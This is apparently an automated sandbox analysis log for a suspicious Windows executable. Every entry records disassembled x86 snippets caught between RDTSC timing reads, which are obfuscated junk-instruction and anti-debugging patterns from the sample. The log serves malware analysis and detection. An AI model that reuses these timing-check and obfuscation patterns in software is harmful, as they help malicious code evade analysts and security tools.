Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 923E3B second address: 923E5A instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jmp 00007FE804B276D0h 0x00000008 pop ecx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f pushad 0x00000010 popad 0x00000011 push edx 0x00000012 pop edx 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 923E5A second address: 923E60 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 923EA5 second address: 923F04 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 popad 0x00000006 push eax 0x00000007 jmp 00007FE804B276D1h 0x0000000c xchg eax, ebx 0x0000000d push 00000000h 0x0000000f push edx 0x00000010 call 00007FE804B276C8h 0x00000015 pop edx 0x00000016 mov dword ptr [esp+04h], edx 0x0000001a add dword ptr [esp+04h], 00000017h 0x00000022 inc edx 0x00000023 push edx 0x00000024 ret 0x00000025 pop edx 0x00000026 ret 0x00000027 nop 0x00000028 pushad 0x00000029 pushad 0x0000002a ja 00007FE804B276C6h 0x00000030 jmp 00007FE804B276D9h 0x00000035 popad 0x00000036 push eax 0x00000037 push edx 0x00000038 push ebx 0x00000039 pop ebx 0x0000003a rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 923F04 second address: 923F27 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FE804FE5CC6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f push edi 0x00000010 pop edi 0x00000011 jmp 00007FE804FE5CD1h 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 923F27 second address: 923F31 instructions: 0x00000000 rdtsc 0x00000002 jng 00007FE804B276CCh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 9249AB second address: 9249AF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 9249AF second address: 924A14 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 jl 00007FE804B276CEh 0x0000000d jnc 00007FE804B276C8h 0x00000013 nop 0x00000014 mov si, 090Dh 0x00000018 push 00000000h 0x0000001a mov di, 88F1h 0x0000001e push 00000000h 0x00000020 push 00000000h 0x00000022 push esi 0x00000023 call 00007FE804B276C8h 0x00000028 pop esi 0x00000029 mov dword ptr [esp+04h], esi 0x0000002d add dword ptr [esp+04h], 0000001Ah 0x00000035 inc esi 0x00000036 push esi 0x00000037 ret 0x00000038 pop esi 0x00000039 ret 0x0000003a sub esi, dword ptr [ebp+122D398Eh] 0x00000040 xchg eax, ebx 0x00000041 jmp 00007FE804B276CBh 0x00000046 push eax 0x00000047 push eax 0x00000048 push edx 0x00000049 jg 00007FE804B276CCh 0x0000004f rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 9264B9 second address: 92653D instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 pop eax 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007FE804FE5CD2h 0x0000000e nop 0x0000000f call 00007FE804FE5CD9h 0x00000014 movzx edi, dx 0x00000017 pop esi 0x00000018 push 00000000h 0x0000001a push 00000000h 0x0000001c push eax 0x0000001d call 00007FE804FE5CC8h 0x00000022 pop eax 0x00000023 mov dword ptr [esp+04h], eax 0x00000027 add dword ptr [esp+04h], 0000001Dh 0x0000002f inc eax 0x00000030 push eax 0x00000031 ret 0x00000032 pop eax 0x00000033 ret 0x00000034 or esi, dword ptr [ebp+122D3826h] 0x0000003a push 00000000h 0x0000003c sbb edi, 3C7F29B4h 0x00000042 push eax 0x00000043 push eax 0x00000044 push edx 0x00000045 pushad 0x00000046 jmp 00007FE804FE5CCBh 0x0000004b js 00007FE804FE5CC6h 0x00000051 popad 0x00000052 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 92653D second address: 926543 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 926543 second address: 926547 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 926FED second address: 926FF2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 928EDA second address: 928EDE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 928EDE second address: 928EEB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 928EEB second address: 928EEF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 928EEF second address: 928EF9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 928EF9 second address: 928EFD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 928EFD second address: 928F20 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 nop 0x00000008 mov si, 21A2h 0x0000000c push 00000000h 0x0000000e mov dword ptr [ebp+122D222Fh], eax 0x00000014 push 00000000h 0x00000016 mov esi, edx 0x00000018 push eax 0x00000019 push eax 0x0000001a push edx 0x0000001b js 00007FE804B276C8h 0x00000021 pushad 0x00000022 popad 0x00000023 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 92CDF3 second address: 92CDF7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 92CDF7 second address: 92CE53 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FE804B276CFh 0x0000000b popad 0x0000000c nop 0x0000000d sub dword ptr [ebp+122D2E49h], edx 0x00000013 push dword ptr fs:[00000000h] 0x0000001a sbb bh, 0000003Fh 0x0000001d mov dword ptr fs:[00000000h], esp 0x00000024 mov di, ax 0x00000027 mov eax, dword ptr [ebp+122D1225h] 0x0000002d pushad 0x0000002e mov dx, AB96h 0x00000032 mov dword ptr [ebp+122D2CC2h], edx 0x00000038 popad 0x00000039 push FFFFFFFFh 0x0000003b mov dword ptr [ebp+122D2B52h], eax 0x00000041 push eax 0x00000042 push ecx 0x00000043 push eax 0x00000044 push edx 0x00000045 jmp 00007FE804B276CDh 0x0000004a rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 930C09 second address: 930C0E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 92FE3E second address: 92FE4E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FE804B276CBh 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 92FE4E second address: 92FED5 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push edi 0x00000004 pop edi 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b or dword ptr [ebp+122D2B67h], esi 0x00000011 push dword ptr fs:[00000000h] 0x00000018 mov ebx, dword ptr [ebp+12450135h] 0x0000001e jmp 00007FE804FE5CD1h 0x00000023 mov dword ptr fs:[00000000h], esp 0x0000002a mov dword ptr [ebp+122D1883h], edx 0x00000030 mov eax, dword ptr [ebp+122D06D5h] 0x00000036 jmp 00007FE804FE5CCDh 0x0000003b push FFFFFFFFh 0x0000003d push 00000000h 0x0000003f push esi 0x00000040 call 00007FE804FE5CC8h 0x00000045 pop esi 0x00000046 mov dword ptr [esp+04h], esi 0x0000004a add dword ptr [esp+04h], 0000001Ah 0x00000052 inc esi 0x00000053 push esi 0x00000054 ret 0x00000055 pop esi 0x00000056 ret 0x00000057 nop 0x00000058 pushad 0x00000059 pushad 0x0000005a ja 00007FE804FE5CC6h 0x00000060 js 00007FE804FE5CC6h 0x00000066 popad 0x00000067 push eax 0x00000068 push edx 0x00000069 pushad 0x0000006a popad 0x0000006b rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 930DCF second address: 930DEA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007FE804B276C6h 0x0000000a popad 0x0000000b popad 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f jno 00007FE804B276CCh 0x00000015 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 931D91 second address: 931D9B instructions: 0x00000000 rdtsc 0x00000002 jc 00007FE804FE5CC6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 932D0E second address: 932D14 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 933D08 second address: 933D0C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 932D14 second address: 932D23 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 935A96 second address: 935A9C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 932D23 second address: 932D27 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 932D27 second address: 932D2D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 935A9C second address: 935B11 instructions: 0x00000000 rdtsc 0x00000002 jne 00007FE804B276C8h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp], eax 0x0000000d mov ebx, dword ptr [ebp+122D2B11h] 0x00000013 push 00000000h 0x00000015 mov di, 3C87h 0x00000019 push 00000000h 0x0000001b push 00000000h 0x0000001d push ebx 0x0000001e call 00007FE804B276C8h 0x00000023 pop ebx 0x00000024 mov dword ptr [esp+04h], ebx 0x00000028 add dword ptr [esp+04h], 0000001Ah 0x00000030 inc ebx 0x00000031 push ebx 0x00000032 ret 0x00000033 pop ebx 0x00000034 ret 0x00000035 movzx ebx, si 0x00000038 xchg eax, esi 0x00000039 pushad 0x0000003a pushad 0x0000003b pushad 0x0000003c popad 0x0000003d pushad 0x0000003e popad 0x0000003f popad 0x00000040 jmp 00007FE804B276D1h 0x00000045 popad 0x00000046 push eax 0x00000047 push eax 0x00000048 push edx 0x00000049 jmp 00007FE804B276D6h 0x0000004e rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 935B11 second address: 935B16 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 936BBB second address: 936BBF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 934C59 second address: 934C5F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 936BBF second address: 936BD0 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 push eax 0x00000008 push esi 0x00000009 jl 00007FE804B276CCh 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 934C5F second address: 934C63 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 936BD0 second address: 936C27 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 nop 0x00000006 push 00000000h 0x00000008 push ecx 0x00000009 call 00007FE804B276C8h 0x0000000e pop ecx 0x0000000f mov dword ptr [esp+04h], ecx 0x00000013 add dword ptr [esp+04h], 00000015h 0x0000001b inc ecx 0x0000001c push ecx 0x0000001d ret 0x0000001e pop ecx 0x0000001f ret 0x00000020 stc 0x00000021 mov dword ptr [ebp+122D216Fh], ecx 0x00000027 push 00000000h 0x00000029 pushad 0x0000002a add dword ptr [ebp+1244FE94h], eax 0x00000030 jc 00007FE804B276CCh 0x00000036 xor dword ptr [ebp+122D2073h], eax 0x0000003c popad 0x0000003d push 00000000h 0x0000003f mov dword ptr [ebp+122D2E43h], edi 0x00000045 xchg eax, esi 0x00000046 push eax 0x00000047 push edx 0x00000048 jnl 00007FE804B276CCh 0x0000004e rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 937C81 second address: 937CED instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 nop 0x00000008 push 00000000h 0x0000000a push ebx 0x0000000b call 00007FE804FE5CC8h 0x00000010 pop ebx 0x00000011 mov dword ptr [esp+04h], ebx 0x00000015 add dword ptr [esp+04h], 00000019h 0x0000001d inc ebx 0x0000001e push ebx 0x0000001f ret 0x00000020 pop ebx 0x00000021 ret 0x00000022 sub dword ptr [ebp+122D22D0h], edx 0x00000028 mov ebx, 06E85D5Ah 0x0000002d push 00000000h 0x0000002f push 00000000h 0x00000031 push ebx 0x00000032 call 00007FE804FE5CC8h 0x00000037 pop ebx 0x00000038 mov dword ptr [esp+04h], ebx 0x0000003c add dword ptr [esp+04h], 00000019h 0x00000044 inc ebx 0x00000045 push ebx 0x00000046 ret 0x00000047 pop ebx 0x00000048 ret 0x00000049 mov dword ptr [ebp+122D2DAEh], edi 0x0000004f sub dword ptr [ebp+122D2E39h], esi 0x00000055 push 00000000h 0x00000057 mov ebx, ecx 0x00000059 xchg eax, esi 0x0000005a push ecx 0x0000005b push esi 0x0000005c push eax 0x0000005d push edx 0x0000005e rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 938B99 second address: 938B9D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 938B9D second address: 938C26 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FE804FE5CC6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop ebx 0x0000000b mov dword ptr [esp], eax 0x0000000e push 00000000h 0x00000010 push eax 0x00000011 call 00007FE804FE5CC8h 0x00000016 pop eax 0x00000017 mov dword ptr [esp+04h], eax 0x0000001b add dword ptr [esp+04h], 00000018h 0x00000023 inc eax 0x00000024 push eax 0x00000025 ret 0x00000026 pop eax 0x00000027 ret 0x00000028 push 00000000h 0x0000002a or dword ptr [ebp+122D34C3h], edi 0x00000030 push 00000000h 0x00000032 push 00000000h 0x00000034 push edx 0x00000035 call 00007FE804FE5CC8h 0x0000003a pop edx 0x0000003b mov dword ptr [esp+04h], edx 0x0000003f add dword ptr [esp+04h], 00000017h 0x00000047 inc edx 0x00000048 push edx 0x00000049 ret 0x0000004a pop edx 0x0000004b ret 0x0000004c mov di, si 0x0000004f mov edi, 418D0143h 0x00000054 xchg eax, esi 0x00000055 jmp 00007FE804FE5CD0h 0x0000005a push eax 0x0000005b pushad 0x0000005c push eax 0x0000005d push edx 0x0000005e jmp 00007FE804FE5CD5h 0x00000063 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 939D7E second address: 939D94 instructions: 0x00000000 rdtsc 0x00000002 jl 00007FE804B276C6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jnc 00007FE804B276C8h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 939D94 second address: 939D9A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 938D8C second address: 938D91 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 938D91 second address: 938DC2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE804FE5CD9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b jmp 00007FE804FE5CCEh 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 939FF6 second address: 939FFA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 93ADE2 second address: 93AE2D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push edi 0x00000006 pop edi 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp], eax 0x0000000d mov ebx, dword ptr [ebp+122D3AEAh] 0x00000013 push 00000000h 0x00000015 adc di, 4222h 0x0000001a push 00000000h 0x0000001c push 00000000h 0x0000001e push edx 0x0000001f call 00007FE804FE5CC8h 0x00000024 pop edx 0x00000025 mov dword ptr [esp+04h], edx 0x00000029 add dword ptr [esp+04h], 00000019h 0x00000031 inc edx 0x00000032 push edx 0x00000033 ret 0x00000034 pop edx 0x00000035 ret 0x00000036 mov bx, si 0x00000039 mov dword ptr [ebp+12455709h], eax 0x0000003f xchg eax, esi 0x00000040 push ebx 0x00000041 pushad 0x00000042 push eax 0x00000043 push edx 0x00000044 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 939FFA second address: 939FFF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 939FFF second address: 93A005 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 93BC76 second address: 93BCE6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FE804B276D7h 0x00000009 popad 0x0000000a nop 0x0000000b mov dword ptr [ebp+122D2E01h], ebx 0x00000011 push 00000000h 0x00000013 push 00000000h 0x00000015 push ebp 0x00000016 call 00007FE804B276C8h 0x0000001b pop ebp 0x0000001c mov dword ptr [esp+04h], ebp 0x00000020 add dword ptr [esp+04h], 00000018h 0x00000028 inc ebp 0x00000029 push ebp 0x0000002a ret 0x0000002b pop ebp 0x0000002c ret 0x0000002d push 00000000h 0x0000002f push 00000000h 0x00000031 push edx 0x00000032 call 00007FE804B276C8h 0x00000037 pop edx 0x00000038 mov dword ptr [esp+04h], edx 0x0000003c add dword ptr [esp+04h], 00000017h 0x00000044 inc edx 0x00000045 push edx 0x00000046 ret 0x00000047 pop edx 0x00000048 ret 0x00000049 mov bx, cx 0x0000004c push eax 0x0000004d push eax 0x0000004e push edx 0x0000004f push esi 0x00000050 pushad 0x00000051 popad 0x00000052 pop esi 0x00000053 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 93AFD5 second address: 93AFD9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 93BCE6 second address: 93BCEB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 93EF3E second address: 93EF42 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 93EF42 second address: 93EF46 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 945A59 second address: 945A63 instructions: 0x00000000 rdtsc 0x00000002 jng 00007FE804FE5CC6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 8E0B01 second address: 8E0B09 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 8E0B09 second address: 8E0B0D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 8E0B0D second address: 8E0B13 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 8E0B13 second address: 8E0B20 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 8E0B20 second address: 8E0B33 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 jmp 00007FE804B276CEh 0x0000000a rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 9451BC second address: 9451C2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 9451C2 second address: 9451C8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 9451C8 second address: 9451CF instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push esi 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 94544E second address: 945452 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 94BAF0 second address: 94BAF7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 94FF6E second address: 94FF9A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE804B276D9h 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a pushad 0x0000000b popad 0x0000000c pop edx 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push edi 0x00000010 jc 00007FE804B276CCh 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 95058B second address: 95058F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 950B44 second address: 950B6E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop esi 0x00000006 push eax 0x00000007 push edx 0x00000008 jo 00007FE804B276DAh 0x0000000e jmp 00007FE804B276D4h 0x00000013 push eax 0x00000014 push edx 0x00000015 jne 00007FE804B276C6h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 950B6E second address: 950B7A instructions: 0x00000000 rdtsc 0x00000002 jne 00007FE804FE5CC6h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 950B7A second address: 950B7F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 950B7F second address: 950B92 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007FE804FE5CCCh 0x0000000c rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 950CBF second address: 950CC3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
